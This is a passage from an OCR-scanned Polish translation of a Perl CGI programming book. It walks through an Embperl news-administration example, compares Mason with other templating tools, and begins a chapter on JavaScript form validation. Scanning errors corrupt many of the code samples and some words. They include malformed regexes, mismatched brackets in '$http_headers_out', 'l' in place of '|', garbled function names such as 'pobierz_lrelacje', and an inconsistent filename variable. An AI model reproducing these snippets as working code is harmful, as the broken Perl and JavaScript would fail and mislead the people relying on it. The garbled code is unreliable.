$escmode przypisujemy 0, a ponieważ deklarujemy lokalny (local) zasięg zmiennej, zmiana ta będzie obowiązywać tylko w danym bloku, poprzednia zaś wartość $escmode zostanie przywrócona po przekazaniu artykułu na wyjście. Przykład 6.14 zawiera funkcję pobierz_lrelacje z modułu News. Przykład 6.14. News.pm (część 2 z 3) sub pobierz_1relacje { my ( $nazwapliku ) = shift() =~ (\d+)$/; my( $naglowek, $artykul ); unless (defined( $nazwapliku ) and -T "$KATAL_NOWIN/$nazwapliku" ) { return "Artykułu nie znaleziono", <<KONIEC_NIE_ZNAL, get_time ( time ); <P>Niestety, poszukiwany artykuł nie został znaleziony .</P> <P>Jeśli łącze na stronie Nowin przeniosło Państwa tutaj, proszę o tym powiadomić <A HREF="mailto: $ENV{SERVER_ADMIN) ">webmastera</A>.</P> KONIEC_NIE_ZNAL } open RELACJA, "$KATAL_NOWIN/$nazwapliku" or die "Nie można otworzyć $KATAL_NOWIN/$nazwapliku : $!"; flock RELACJA, LOCK_SH; $naglowek = <RELACJA>; chomp $naglowek; local $/ = undef; $artykul = <RELACJA>; return $naglowek, $artykul, pobierz_date ( $nazwapliku ) ;
Programowanie CGI w Perlu
78
} Do funkcji jako parametr przekazywany jest numer artykułu. Pierwszą czynnością funkcji jest weryfikacja formatu numeru. Test na defined następujący po przypisaniu wyrażenia regularnego wygląda na okrężny sposób testowania, lecz robimy tak dlatego, aby „odkazić" nazwę pliku; kwestią „skażenia" i jego istotności zajmiemy się w rozdziale 8, „Bezpieczeństwo", w podrozdziale „Tryb kontroli skażeń". Na koniec sprawdzamy, czy plik artykułu istnieje i czy jest on tekstowy. Jeśli którekolwiek ze sprawdzeń zakończy się niepowodzeniem, zwracamy użytkownikowi komunikat o błędzie sformatowany jak standardowy artykuł. W przeciwnym razie otwieramy plik, odczytujemy nagłówek i treść, pobieramy datę, a uzyskane informacje przekazujemy do strony. Teraz przyjrzyjmy się stronom administracyjnym. Strony te powinny się znajdować w podkatalogu leżącym poniżej pozostałych plików. Pliki mogą być zainstalowane na przykład w następujących miejscach: .../news/news.epl .../news/article.epl .../news/admin/edit_news.epl .../news/admin/edit_article.epl Pozwoli to nam tak skonfigurować serwer Web, aby dostęp do podkatalogu admin był zastrzeżony. Przykład 6.15 przedstawia główną stronę administracyjną, ad-minjiews.epl. Przykład 6.15. admin_news.epl <HTML> [! use lib "/usr/local/apache/lib-perl"; use News; !] [if ( my( $podane ) = keys %fdat ) { my( $polecenie, $relacja ) = split ":", $podane; $polecenie eq "nowy" and do { $http_headers_out(Location} = "edit_article.epl"; exit; }; $polecenie eq "popraw" and do { $http_headers_out(Location} = "edit_article.epl?relacja=$relacja"; exit; }; $polecenie eq "skasuj" and News::skasuj_relacje( $relacja ); } @relacje = News::pobierz_relacje() -] <HEAD><TITLE>Administracja serwisem Nowiny</TITLE> </HEAD> <BODY BGCOLOR="white"> <FORM METHOD="POST"> <H2>Administracja serwisem Nowiny</H2> <P>Tutaj można przeredagowywać i usuwać istniejące artykuły, a także tworzyć nowe. Kliknięcie nagłówka spowoduje przeniesienie do odpowiedniego artykułu w obszarze ogólnodostępnym; aby wrócić, należy użyć przycisku Wstecz przeglądarki.</P> <HR> <TABLE BORDER=1> <TR> [- ( $relacja, $naglowek, $data ) = @{ $relacje[$row] } if $relacje[$row] -] <TD> <INPUT TYPE="submit" NAME="popraw:[+ $relacja + ]" VALUE="Popraw"> <INPUT TYPE="submit" NAME="skasuj:[+ $relacja +]" VALUE="Skasuj"> onClick="return confirm('Czy na pewno ten artykuł ma być skasowany?')"> </TD> <TD> <A HREF="../article.epl?relacja=[+ $relacja +]">[+ $naglowek +]</A> <I>[ + $data +]</I> </TD> </TR> </TABLE> <INPUT TYPE="submit" NAME="nowy" VALUE="Utwórz nowy artykuł"> </FORM> <HR> <P>Przejście do serwisu <A HREF="../news.epl">Nowiny</A>.</P> </BODY> </HTML> Kod tej strony musi obsłużyć kilka różnych żądań. Jeśli otrzyma parametr, za pomocą szeregu warunków ustali sposób obsługi żądania. Wrócimy do tych instrukcji po zapoznaniu się z resztą pliku, ponieważ parametr się nie pojawia, gdy administrator sięga do tej strony po raz pierwszy. Jak w wypadku pliku news.epl, poprzez funkcję póbierzjrelacje pobieramy tablicę artykułów, lecz zamiast tworzenia listy uporządkowanej i wykonania pętli poprzez pozycje listy, generujemy tabelę, a pętlę wykonujemy
Programowanie CGI w Perlu
79
na wierszach tabeli. Do każdego artykułu generujemy oprócz odpowiedniego łącza także przyciski Popraw i Skasuj. Zauważmy, że w atrybutach nazw przycisków Popraw i Skasuj oprócz polecenia podany został, po dwukropku, numer artykułu. Pozwoli to nam przekazać obydwie informaqe o przycisku klikniętym przez administratora, a przy tym pozostawi swobodę względem napisu na przycisku. Na koniec u dołu strony umieszczamy przycisk zlecania wysyłki, dzięki któremu administrator będzie mógł dodać nowy artykuł. Wszystkie elementy formularza na tej stronie są przyciskami zlecania wysyłki, które po kliknięciu spowodują wysłanie tylko par nazwa-wartość. Dlatego, jeśli administrator kliknie przycisk, przeglądarka ponownie zażąda tej samej strony, przekazując parametr danego przycisku. Wracając do warunków na początku pliku: jeśli zostanie do niego przekazany parametr, zostanie on podzielony według dwukropka na zmienną polecenia, $polecenie, oraz zmienną artykułu, $relacj a. Łatwo zauważyć, że jeśli administrator kliknie przycisk tworzenia nowego artykułu, to w podanym parametrze nie będzie dwukropka. Nie jest to bynajmniej błąd, ponieważ w takiej sytuacji instrukcja split zmiennej $polecenie przypisze wartość „nowy", a zmienną $relacja określi jako undef. Gdy $polecenie wynosi „nowy", wtedy kierujemy użytkownika do pliku edit_article.epl. W tym celu wykonujemy przypisanie do specjalnej zmiennej Embperla %http_header s_out. Podanie klucza „Location" jako wartości sprawia, że zostaje wygenerowany nagłówek HTTP Location; potem możemy opuścić stronę (instrukcja exit). Jeśli administrator zdecyduje się poprawić istniejący artykuł, również kierujemy użytkownika do pliku edit/article.epl i opuszczamy stronę, lecz tym razem w łańcuchu zapytania przekazujemy numer artykułu. Jeśli administrator zechce skasować artykuł, wywołujemy funkcję skasuj_relacje z modułu News i kontynuujemy przetwarzanie. Ponieważ po skasowaniu artykułu od nowa ustalamy listę artykułów, na stronie zostanie wyświetlona zaktualizowana lista nagłówków. Ponadto do przycisku kasowania dodajemy procedurę obsługi w JavaScripcie, aby zapobiec skasowaniu niewłaściwego pliku przypadkowym kliknięciem. Nawet wtedy, gdy zdecydujemy się nie używać JavaScriptu w serwisie ogólnodostępnym, może się okazać bardzo przydatny na stronach administracyjnych z analogicznie ograniczonym dostępem, kiedy to możemy zastosować większe ograniczenia pod względem obsługiwanych przeglądarek. Na koniec w przykładzie 6.16 przedstawiamy plik edit/airticle.epl, stronę umożliwiającą administratorowi tworzenie lub poprawianie artykułów. Przykład 6.16. edit_article.epl <HTML> [! use lib "/usr/local/apache/lib-perl"; use News; !] [if ( $fdat{relacja} ) { ( $fdat{naglowek}, $fdat{article} ) = News::pobierz_1relacje( $fdat{relacja} ); } elsif ( $fdat{save} ) { News::zapisz_relacje( $fdat{relacja}, $fdat{nagłówek}, $fdat{article} ); $http_headers_out{Location} = "edit_news.epl"; exit; } -] <HEAD> <TITLE>Redagowanie artykułu</TITLE> </HEAD> <BODY BGCOLOR="white"> <H2>Redagowanie artykułu</H2> <HR> <FORM METHOD="POST"> <P><B>Nagłówek: </B><INPUT TYPE="text" NAME="naglowek" SIZE="50"></P> <P><B>Artykuł: </B> (sformatowany w HTML-u) <BR> <TEXTAREA NAME="article" COLS=60 ROWS=20></TEXTAREA></P> <INPUT TYPE="reset" VALUE="Wyzeruj formularz"> <INPUT TYPE="submit" NAME="save" VALUE="Zapisz artykuł"> [$ hidden $] </FORM> <HR> <P>Powrót do strony<A HREF="edit_news.epl">Administracja serwisem Nowiny</A>. <I>Uwaga: spowoduje to utratę wprowadzonych zmian!</I></P> </BODY> </HTML> Jeśli administrator zdecyduje się na poprawianie, w łańcuchu zapytania zostanie podany numer artykułu. Uzyskujemy go z % f dat i za pomocą pobierz_lrelacje pobieramy nagłówek i treść artykułu. Określamy wtedy odpowiednie pola w % f dat, aby potem, gdy Embperl napotka w pliku formularzowe elementy naglowek i artykul, automatycznie wypełnił je pobranymi wcześniej wartościami domyślnymi. Polecenie ukrycia (hidderi) w formularzu zostanie zastąpione numerem artykułu (o ile był podany). To wszystko, co musimy zrobić, aby formularz obsługiwał zarówno artykuły nowo tworzone, jak i poprawiane.
Programowanie CGI w Perlu
80
Kiedy administrator zleca wysłanie wprowadzonych zmian, numer artykułu (który będzie obecny w wypadku poprawiania, niezdefiniowany zaś w wypadku dodawania), tekst nagłówka oraz tekst artykułu przekazywane są do funkcji zapisującej artykuł, zapiszjrelacje, a administrator przenoszony jest z powrotem do głównej strony administracyjnej. Funkcje administracyjne z modułu News przedstawiamy w przykładzie 6.17. Przykład 6.17. News.pm (część 3 z 3) sub zapisz_relacje { my( $relacja, $naglowek, $artykul ) = @_; local *RELACJA; $relacja ||= time; # nazwij nowy plik na podstawie czasu w sekundach $artykul =~ s/\015\012l\015l\012/\n/g; # zapewnij spójne oznaczenia końców wierszy $naglowek =~ tr/\015\012//d; # na wszelki wypadek skasuj oznaczenia końców wierszy my( $plik ) = $relacja =~ /^(\d+)$/ or die "Niedozwolona nazwa pliku: '$relacja'"; open RELACJA, "> $KATAL_NOWIN/$nazwapliku"; flock RELACJA, LOCK_EX; seek RELACJA, 0, 0; print RELACJA $naglowek, "\n", $artykul; close RELACJA; } sub skasuj_relacje { my $relacja = shift; my( $plik ) = $relacja =~ /^(\d+)$/ or die "Niedozwolona nazwa pliku: '$relacja'"; unlink "$KATAL_NOWIN/$plik" or die "Nie można usunąć artykułu $KATAL_NOWIN/$plik: $!"; } Funkcja zapisz_relacje otrzymuje ewentualny numer pliku artykułu, nagłówek oraz treść artykułu. Jeśli numer nie zostanie podany, zapisz_relacje przyjmuje, że jest to nowy artykuł, i generuje nowy numer (zmienna $relacja) na podstawie funkcji lime. Zakończenia wierszy właściwe dla przeglądarek na innych platformach przekształcamy na standardowe zakończenia wierszy w naszej przeglądarce, po czym pozbywamy się wszystkich znaków zakończeń wierszy w nagłówku, ponieważ to zniekształciłoby dane. Sprawdzamy, czy numer artykułu jest prawidłowy,'i otwieramy plik do zapisu. Je żeli jest to aktualizacja, poprzednia wersja zostaje zastąpiona nową. Na czas zapisywania wprowadzane jest blokowanie z wyłącznością, aby nikt inny nie mógł odczytać pliku (i otrzymać fragmentaryczny artykuł), zanim my zakończymy operację. Działanie funkcji skasuj'_relacje polega jedynie na sprawdzeniu poprawności nazwy pliku i usunięciu go. Podsumowanie Jak widzieliśmy, Embperl prezentuje bardzo odmienne podejście do generowania dynamicznych danych wyjściowych za pomocą Perla. Omówienie było na tyle dokładne, aby na podstawie uzyskanej wiedzy możliwe było samodzielne opracowywanie stron Embperla, niemniej moduł ten ma wiele innych funkcji i możliwości, których ze względu na szczupłość miejsca nie jesteśmy w stanie przedstawić. Na szczęście Embperl ma bogatą dokumentację i gdyby okazała się potrzebna lepsza znajomość modułu HTML::Embperl, można pobrać dokumentację z sieci CPAN lub odwiedzić serwis Embperla pod adresem http://perl.apache.org/embperl/.
Mason Moduł Perla HTML::Mason, często nazywany krótko - Mason, to kolejne rozwiązanie oparte na szablonach. Tak jak Embperl, umożliwia osadzanie pełnych wyrażeń Perla w dokumentach HTML. Jednak Mason, inaczej niż w pozostałych dotąd wymienionych rozwiązaniach, przeznaczony jest przede wszystkim do obsługi komponentów, które można osadzać w innych. Rzecz wykracza poza tworzenie modularnego kodu CGI. W wielu serwisach Web, zwłaszcza w rozbudowanych, wiele stron zawiera te same elementy i ma wspólny układ graficzny. Mason umożliwia modularyzację HTML-a i kodu skryptu. Daje także możliwość wielokrotnego użycia jednego i drugiego w danym serwisie Web. Na stronę Web może się składać nagłówek i stopka, jednakowe w całym serwisie, a w wielu wypadkach - także wspólny pasek nawigacyjny. Korzystając z modułu Mason, można tworzyć poszczególne składniki, które potem łatwo włączyć do dokumentów. Mason nie czyni różnicy między składnikami statycznymi a dynamicznymi; każdy ze składników może oprócz kodu obejmować także inne składniki. Możliwe jest również użycie składników w funkcji filtrów. Mason, mimo że też obsługuje tryb CGI, wymaga rozszerzenia mod_perl, i to w stop niu większym niż Embperl. Po pierwsze, ze względu na naturę składników Masona o wiele sensowniejsze jest, aby pliki bezpośrednio obsługiwał Mason, niż aby żądania przetwarzane były przez skrypt CGI. Po drugie, ponieważ Mason jest napisany całkowicie w Perlu (inaczej niż Embperl, który zawiera skompilowany kod w C), bez mod_perl jest mniej wydajny - gdy używany jest mod_perl, kod źródłowy w Perlu jest załadowywany, interpretowany i kompilowany tylko raz, a nie przy każdym żądaniu. Z tego względu modułu Mason nie można do końca uznać za narzędzie CGI. Z drugiej strony, zważywszy rosnącą popularność Masona, nie można go pominąć przy omawianiu rozwiązań opartych na szablonach HTML. Omówienie tego modułu ograniczymy do krótkiego przeglądu, który pozwoli nam go porównać
Programowanie CGI w Perlu
81
z innymi rozwiązaniami. Więcej informacji na ten temat znaleźć można w serwisie pod adresem http://www.masonhq.com/. Podejście do składników Podejście do składników zastosowane w Masonie jest inne niż w pozostałych przedstawionych tu rozwiązaniach, które między sobą różniły się przede wszystkim możliwościami i złożonością poleceń do obsługi szablonów. Również inne rozwiązania pozwalają na tworzenie architektury składnikowej, lecz ich możliwości są mniejsze niż w wypadku Masona. Poniżej przedstawiamy porównanie: • Jak widzieliśmy na wcześniejszym przykładzie ze stopką (zob. tabela 6.3), polecenie SSI include sprawdza się bardzo dobrze, niemniej polecenia SSI ograniczone są do dokumentów statycznych: do HTMLowych dokumentów nie można włączyć skryptu CGI ani też na odwrót. • HTML::Template ma podobne polecenie TMPL_INCLUDE, lecz wstawiać można tylko „dosłowną" zawartość pliku, która interpretowana jest jako część tego samego szablonu i realizowana w kontekście bieżącego skryptu CGI. HTML::Template zasadniczo nie jest przeznaczony do dynamicznego generowania danych wyjściowych jednego skryptu CGI w danych wyjściowych innego. Jest to możliwe, ale zagmatwane (więcej informacji w części FAQ dokumentacji HTML::Template). • Embperl ma na tyle bogate możliwości, że możemy w nim zrobić niemal wszystko, lecz nacisk nie jest położony na składniki. Ponadto nie ma wszystkich tych funkcji, które w wypadku Masona pozwalają na filtrowanie oraz automatyczne wykonywanie składników według z góry zadanych reguł. • Mason nie czyni rozróżnienia między plikami zawierającymi kod, plikami zawierającymi HTML oraz plikami zawierającymi dane. Każdy plik może zostać włączony do innego pliku jako składnik. Mason oferuje ponadto filtry i automatyczne procedury obsługi, dzięki którym można modyfikować wynik działania obecnych składników, nie wprowadzając do nich zmian w sposób bezpośredni. • Dla porównania: CGI.pm nie daje możliwości włączania danych wyjściowych jednego żądania dynamicznego do innego bez użycia dodatkowego modułu, na przykład LWP. Zazwyczaj jednak kod, który ma być wspólny, przenosi się do osobnego modułu dostępnego dla kilku skryptów CGI. Treść statyczna może być oczywiście wstawiana „na piechotę", przez odczytywanie pliku i drukowanie go w Perlu. Czy to wszystko oznacza, że Mason jest lepszym rozwiązaniem od pozostałych? Nie całkiem - jest jedynie lepiej dostosowany do serwisów, które oparte są na wielu wspólnych składnikach i są w stanie skorzystać z zalet Masona. Dzięki temu modułowi serwisy takie są łatwiejsze w pielęgnacji (pod warunkiem, że są dobrze opracowane), lecz zwiększa się ich złożoność, ponieważ zajmujące się nimi osoby muszą mieć rozeznanie we wszystkich powiązaniach między poszczególnymi składnikami. To, co w przeglądarce wygląda na pojedynczą stronę, może się składać z kilkunastu osobnych komponentów i dlatego ludzie ci muszą się orientować, w którym z nich mają wprowadzić ewentualne zmiany. Wymagana jest przy tym bliska współpraca autorów stron HTML z twórcami skryptów CGI, ponieważ podział na obydwie role w wypadku Masona nie jest wyraźny. Mimo wszystko moduł ten stanowi eleganckie rozwiązanie, gdy chodzi o rozległe struktury Web, do których jest przeznaczony.
Rozdział 7 JavaScript Spojrzawszy na tytuł rozdziału, można się zapytać: „JavaScript? Co ma JavaScript do Perla lub programowania CGI?" To prawda, że JavaScript to nie jest Perl oraz że nie służy do pisania skryptów CGI.* Jednak do tworzenia efektywnych aplikacji Web potrzebna jest wiedza wykraczająca poza tematykę CGI. Z tego właśnie powodu wcześniej omówiliśmy protokół HTTP i formularze HTML, a później zajmiemy się jeszcze pocztą elektroniczną i SQL-em. JavaScript to kolejne narzędzie, które pozwala tworzyć lepsze aplikacje webowe, mimo że nie ma decydującego znaczenia przy tworzeniu skryptów CGI. W tym rozdziale skupimy się na trzech szczególnych zastosowaniach JavaScriptu: kontroli prawidłowości danych wprowadzonych do formularza; generowaniu półautonomicznych klientów; bookmarkletach, czyli aplikacjach zakładkowych. Wszystkie trzy, co za chwilę zobaczymy, choć po stronie klienta są oparte na Java-Scripcie, po strome serwera bazują na skryptach CGI. Celem niniejszego rozdziału nie jest wprowadzenie do JavaScriptu. Ponieważ wielu projektantów sieci Web zapoznaje się z HTML-em i JavaScriptem wcześniej niż z językiem Perl i interfejsem CGI, przyjmujemy założenie, że czytelnik zdążył już się zetknąć z JavaScriptem. Tych, którzy go nie znają lub którzy chcą pogłębić dotychczasową wiedzę, zachęcamy do sięgnięcia po książkę Davida Flanagana JavaScript: The Definitive Guide (O'Reilly & Associates, Inc.).
Tło Zanim przejdziemy do meritum, omówimy tło JavaScriptu. Jak wspomnieliśmy, pomijamy wprowadzenie do programowania w JavaScripcie, lecz pewne rzeczy powinniśmy wyjaśnić, aby uniknąć ewentualnych nieporozumień, gdy będziemy się odwoływać do JavaScriptu i porównywać z nim podobne rozwiązania techniczne. Niektóre serwery Web obsługują JavaScript po stronie serwera, lecz nie odbywa się to poprzez CGI. Historia Pierwotne opracowanie JavaScriptu powstało pod kątem przeglądarki Netscape Navigator 2.0. JavaScript ma bardzo niewiele wspólnego z Javą, mimo podobnych nazw. Języki te stworzono niezależnie, a JavaScript początkowo nosił nazwę Live-Script. Jednak Sun Microsystems (twórca Javy) i Netscape porozumiały się, w wyniku czego LiveScript został przemianowany na JavaScript tuż przed wypuszczeniem na rynek. Niestety,
Programowanie CGI w Perlu
82
tą jedną czysto marketingową decyzją wprowadzono w błąd wiele osób, które nabrały przekonania, że Java i JavaScript są do siebie bardzo podobne. Microsoft stworzył własną implementację JavaScriptu, przeznaczoną do przeglądarki Internet Explorer 3.0, którą później nazwano JScript. Początkowo JScript był zasadniczo zgodny z JavaScriptem, lecz ewolucja tych języków w firmach Netscape i Microsoft przebiegła w różnych kierunkach. Jeśli chodzi o właściwości dynamiczne, najnowsze wersje tych języków są obecnie znacząco odmienne. Na szczęście podjęto wysiłki w kierunku standaryzacji obu języków. W rezultacie powstały ECMAScript oraz DOM. ECMAScript jest standardem stowarzyszenia ECMA. Definiuje składnię i strukturę języka, którym docelowo mają się stać JScript i JavaScript. Sam standard ECMAScript nie odnosi się wprost do sieci Web i nie jest, ściśle rzecz ujmując, użyteczny jako język, ponieważ nie ma w nim elementów funkcjonalnych; definiuje jedynie kilka bardzo podstawowych obiektów. Tu nabiera znaczenia DOM (Document Objęci Model). DOM to osobny standard, opracowywany przez World Wide Web Consortium celem zdefiniowania obiektów stosowanych w dokumentach HTML i XML, bez odniesienia do konkretnego języka programowania. W efekcie tych wysiłków pewnego dnia JavaScript i JScript powinny przyswoić sobie zarówno standard ECMAScript, jak i DOM. Będzie je wówczas cechować wspólna, ujednolicona struktura oraz wspólny model interakcji z dokumentami. Pod tym względem staną się zgodne, a kod skryptów wykonywanych po stronie klienta będzie działać we wszystkich przeglądarkach opartych na tym standardzie. Mimo że JavaScript i JScript nie są tożsame, większość ludzi używa terminu JavaScript w odniesieniu do wszystkich implementacji JavaScriptu i JScriptu, bez względu na przeglądarkę. My również w ten sam sposób będziemy się posługiwać terminem JavaScript. Zgodność Największe wyzwanie, gdy chodzi o JavaScript, stanowi przed chwilą poruszony problem: zgodność przeglądarek. Nie jest to bynajmniej coś, czym zazwyczaj musimy zaprzątać sobie głowy pisząc skrypty CGI, które działają wszak na serwerze Web. JavaScript wykonywany jest w przeglądarce użytkownika i dlatego: przeglądarka musi obsługiwać JavaScript, obsługa JavaScriptu musi być czynna (niektórzy użytkownicy ją wyłączają), a kod w JavaScripcie musi być zgodny z implementacją tego języka w danej przeglądarce. Sami musimy zdecydować, czy korzyści, jakie daje JavaScript, przeważają nad niedogodnościami dla użytkownika, którego przeglądarka musi wówczas spełniać określone wymagania. Wiele serwisów stosuje kompromisowe podejście: wprowadza JavaScript, aby poprawić funkcjonalność dla tych użytkowników, którzy mogą z niego skorzystać, ale jednocześnie nie ogranicza dostępu użytkownikom, którzy takiej możliwości nie mają. W większości tu zamieszczonych przykładów oprzemy się na takim właśnie modelu. Będziemy również unikać nowszych elementów języka i zawęzimy omówienie do JavaScriptu l .1, z którym w szerokim zakresie są zgodne różne przeglądarki obsługujące JavaScript.
Formularze Do ulepszania formularzy HTML w aplikacjach Web chyba najczęściej używany jest JavaScript. Standardowe formularze HTML nie są nadzwyczajnie inteligentne. Przyjmują wprowadzane dane i przekazują je do serwera Web, gdzie dopiero następuje cały proces przetwarzania. Dzięki JavaScriptowi zwiększają się możliwości obsługi po stronie klienta. Za pomocą JavaScriptu możemy sprawdzać poprawność danych oraz aktualizować pola, reagując na działania użytkownika w sposób natychmiastowy; często pojedynczym formularzem dynamicznym możemy zastąpić kilka statycznych. Zaletą JavaScriptu jest to, że część pracy normalnie wykonywanej przez serwer przenosi na programklient, a tym samym redukuje liczbę żądań kierowanych do serwera. Zaletą JavaScriptu, jeśli chodzi o użytkownika, jest to, że zapewnia natychmiastową reakcję, bez oczekiwania na pobranie nowej strony przez przeglądarkę. Kontrola poprawności wprowadzanych danych Gdy tworzymy formularz HTML, na ogół oczekujemy od użytkownika, aby wypełnił go w określony sposób. Na formularz można nałożyć rozmaite ograniczenia. Mogą one polegać na tym, że na przykład do niektórych pól mogą być wprowadzane tylko liczby, podczas gdy do innych tylko daty, w niektórych będą mogły się znaleźć wartości wyłącznie z określonego zakresu, niektórych pól nie będzie można pominąć przy wypełnianiu formularza, wypełnienie niektórych pól może się wzajemnie wykluczać. Do obsłużenia wszystkich tych przypadków wystarczą zaledwie dwa sposoby: pierwszy polega na sprawdzaniu każdego elementu na bieżąco już przy wprowadzaniu do niego danych; drugi polega na przeprowadzeniu kontroli dopiero tuż przed wysłaniem formularza. Kontrola bieżąca Sprawdzanie wartości elementu formularza przy wprowadzaniu jej przez użytkownika jest metodą najefektywniejszą, gdy trzeba skontrolować zgodność z formatem lub zakresem danego elementu. Na przykład, jeśli w określonym polu dozwolone są wyłącznie liczby, można sprawdzić, czy użytkownik nie wprowadził jakiegoś znaku nie będącego cyfrą. Do takiej kontroli posłuży nam procedura obsługi zdarzenia onChange. Można jej użyć do pól następującego typu: tekst (Text), obszar tekstowy (TextArea), hasło (Pas-sword), plik wysyłany do serwera (FileUpload) oraz lista pozycji do wyboru (Select). W wypadku każdego z tych elementów możemy zarejestrować zdarzenie onChange i przypisać kod, który będzie wykonywany wtedy, gdy zajdzie zmiana w elemencie. Do rejestracji zdarzenia wystarczy podać jego nazwę jako atrybut znacznika HTML danego elementu. Na przykład: <INPUT TYPE="text" name="wiek" onChange="sprawdzWiek( this );">
Programowanie CGI w Perlu
83
Zajście zdarzenia uruchomi funkcję sprawdzWiek, do której poprzez this przekazana zostanie referenq'a do elementu. Funkcja ta wygląda następująco: function sprawdzWiek ( element ) { if ( element.value != parseInt( element.value ) || element.value < l || element.value > 150 ) { alert( "Jako wiek proszę podać liczbę miedzy l a 150." ); element.focus(); return false; } return true; } Powyższa funkcja sprawdza, czy podany wiek jest liczbą całkowitą zawierającą się w przedziale między l a 150 (przepraszamy czytelników, którzy mają 152 lata, lecz musieliśmy przyjąć jakąś granicę). Jeśli sprawdzWiek stwierdzi, że wprowadzona wartość jest niepoprawna, wyświetli komunikat, w którym zwraca się do użytkownika o ponowne podanie wieku (rysunek 7.1), i za pomocą funkcji element. f ocus () przenosi kursor z powrotem do pola wiek. Następnie, odpowiednio do pomyślnego lub niepomyślnego wyniku kontroli, zwraca wartość „prawda" (true) lub „fałsz" (false). Nie jest to z reguły konieczne, lecz bardzo się nam przyda później, gdy będziemy wywoływać kolejno kilka funkcji, co zademonstrujemy w przykładzie 7.2. Zauważmy, że zdarzenie onChange wcale nie musi być obsługiwane poprzez wywoływanie funkcji. Możliwe jest bezpośrednie przypisanie kilku instrukcji. Mimo to praca nad dokumentami zazwyczaj jest łatwiejsza, gdy JavaScript jest maksymalnie zwarty, a funkcje nam to zapewniają. Umożliwiają ponadto zastosowanie tego samego kodu do kilku elementów formularza wymagających jednakowych testów. W wypadku często używanych funkcji można się posunąć o krok dalej i umieścić je w osobnym pliku JavaScriptu, który potem będzie można włączać do różnych plików HTML. Przykład przedstawimy na rysunku 7.2. Kontrola przy wysyłaniu Drugi sposób sprawdzania danych polega na przeprowadzeniu tej operacji tuż przed wysłaniem formularza do serwera. Jest to najlepszy moment, by sprawdzić, czy w polach, których wypełnienie jest obowiązkowe, wprowadzono dane, lub skontrolować, czy zachowane są przewidziane zależności między poszczególnymi elementami. Tego typu kontrole przeprowadza się przy użyciu procedury obsługi zdarzenia onSubmit. Procedura onSubmit, wprowadzana atrybutem znacznika <FORM>, działa podobnie do onChange: <FORM METHOD="POST" ACTION="/cgi/rejestracja.cgi" onSubmit="return sprawdzFormularz(this);"> Łatwo też dostrzec kolejną różnicę. onSubmit zwraca wartość wywoływanego kodu. Jeśli zwróci „fałsz", wysyłka formularza zostanie anulowana, gdy tylko kod procedury zakończy działanie. W każdym innym wypadku wysyłka będzie kontynuowana. Zwracane wartości nie mają wpływu na obsługę zdarzenia onChange. Oto funkcja sprawdzająca formularza: function sprawdzFormularz ( formularz ) { if ( formularz["wiek"].value == "" ) { alert( "Proszę podać wiek."); return false; } return true; } Sprawdzamy tu, czy podano wiek. Trzeba pamiętać, że procedura onChange nie wystarczy, ponieważ uruchamiana jest tylko wtedy, gdy wartość wieku ulega zmianie. Gdyby użytkownik nie podał wieku, procedura onChange w ogóle nie zostałaby wywołana. Właśnie dlatego wartości, których podania wymagamy od użytkownika, sprawdza się procedurą onSubmit. Przykładowa kontrola poprawności danych Przyjrzyjmy się kompletnemu rozwiązaniu. Wydaje się, że coraz więcej serwisów Web wymaga od użytkowników rejestracji i podawania danych osobowych, jeśli chcą oni korzystać z oferowanych usług. Utworzymy trochę przesadnie rozbudowany formularz rejestracyjny (rysunek 7.2). Zauważmy, że formularz dotyczy tylko mieszkańców Stanów Zjednoczonych. Jednak mogą do niego sięgać internetowi użytkownicy praktycznie z całego świata, należy zatem zachować elastyczność przy sprawdzaniu poprawności, dostosowując formularz do rozmaitych krajowych sposobów zapisu numeru telefonu, kodu pocztowego itp. Mimo to, ponieważ celem tego przykładu jest przede wszystkim zademonstrowanie kontroli poprawności, ograniczymy się do jednego zestawu formatów, aby uniknąć nadmiernego skomplikowania. Wyświetlane będą wymagane formaty numerów telefonów i numeru ubezpieczenia. Ponadto przyjęto, że kod pocztowy ma postać pięciocyfrową. Przykład 7.1. input_validation.html <html> <head> <title>Rejestracja użytkownika</title> <script src="/js-lib/formLib.js"x/script> <script><!— function skontrolujFormularz ( form ) { wymaganePolaText = new Array("nazwisko", "adres", "miasto", "kod", "tel_domowy", "tel_do_pracy", "wiek", "ubezpieczenie", "panieńskie" ); wymaganePolaSelect = new Array( "stan", "wykształcenie" );
Programowanie CGI w Perlu
84
wymaganePolaRadio = new Array ( "plec" ); return wymagajWartosci ( form, wymaganePolaText ) && wymagajWyboru ( form, wymaganePolaSelect ) && wymagajWskazania ( form, wymaganePolaRadio ) && sprawdzProblemy (); // —> </script> </head> <body bgcolor="#ffffff"> <h2>Formularz rejestracyjny użytkownika</h2> <p>Cześć, zanim skorzystasz z naszego serwisu, chcielibyśmy uzyskać jak najwięcej informacji o Tobie, aby móc potem sprzedać je innym firmom. Jesteśmy przekonani, że nie masz nic przeciwko temu. Wypełnij zatem jak najdokładniej poniższy formularz rejestracyjny.</p> <p>Niniejszy formularz przeznaczony jest wyłącznie dla mieszkańców USA. Pozostałe osoby powinny skorzystać z <a href="rejestracja_zagran.html"> formularza rejestracji zagranicznej</a>.</p> <hr> <form method="GET" onSubmit="return skontrolujFormularz( this );"> <table border=0> <tr><td>Imię i nazwisko: </td><td> <input type="text" name="nazwisko" size="30" maxlength="30"> </td></tr> <tr><td>Adres: </td><td> <input type="text" name="adres" size="40" maxlength="50"> </td></tr> <tr><td>Miejscowość: </td><td> <input type="text" name="miasto" size="20" maxlength="20"> </tdx/tr> <tr><td> Stan: </td> <td><select name="stan" size="l"> <option value="">Proszę wybrać stan</option> <option value="AL">Alabama</option> <option value="AK">Alaska</option> <option value="AZ">Arizona</option> <option value="WY">Wyoming</option> </select> </td></tr> <tr><td>Kod pocztowy: </td> <td><input type="text" name="kod" size="5" maxlength="5"onChange="sprawdzKod( this );"> </td></tr> <tr><td>Telefon domowy: </td><td> <input type="text" name="tel_domowy" size="12" maxlength="12" onChange="sprawdzTelefon( this );"> <i>(proszę użyć następującego zapisu: 800-555-1212)</i> </td></tr> <tr><td>Telefon do pracy: </td><td> <input type="text" name="tel_do_pracy" size="12" maxlength="12" onChange="sprawdzTelefon( this );"> <i>(prosze użyć następującego zapisu: 800-555-1212)</i> </td></tr> <tr><td>Numer ubezpieczenia społecznego (tylko mieszkańcy USA): </td> <td><input type="text" name="ubezpieczenie" size="11" maxlength="11" onChange="sprawdzNrUS( this );"> <i>(proszę użyć następującego zapisu: 123-45-6789)</i> </td></tr> <tr><td>Nazwisko panieńskie matki: </td><td> <input type="text" name="panienskie" size="20" maxlength="20"> </td></tr> <tr><td> Wiek: </td><td> <input type="text" name="wiek" size="3" maxlength="3" 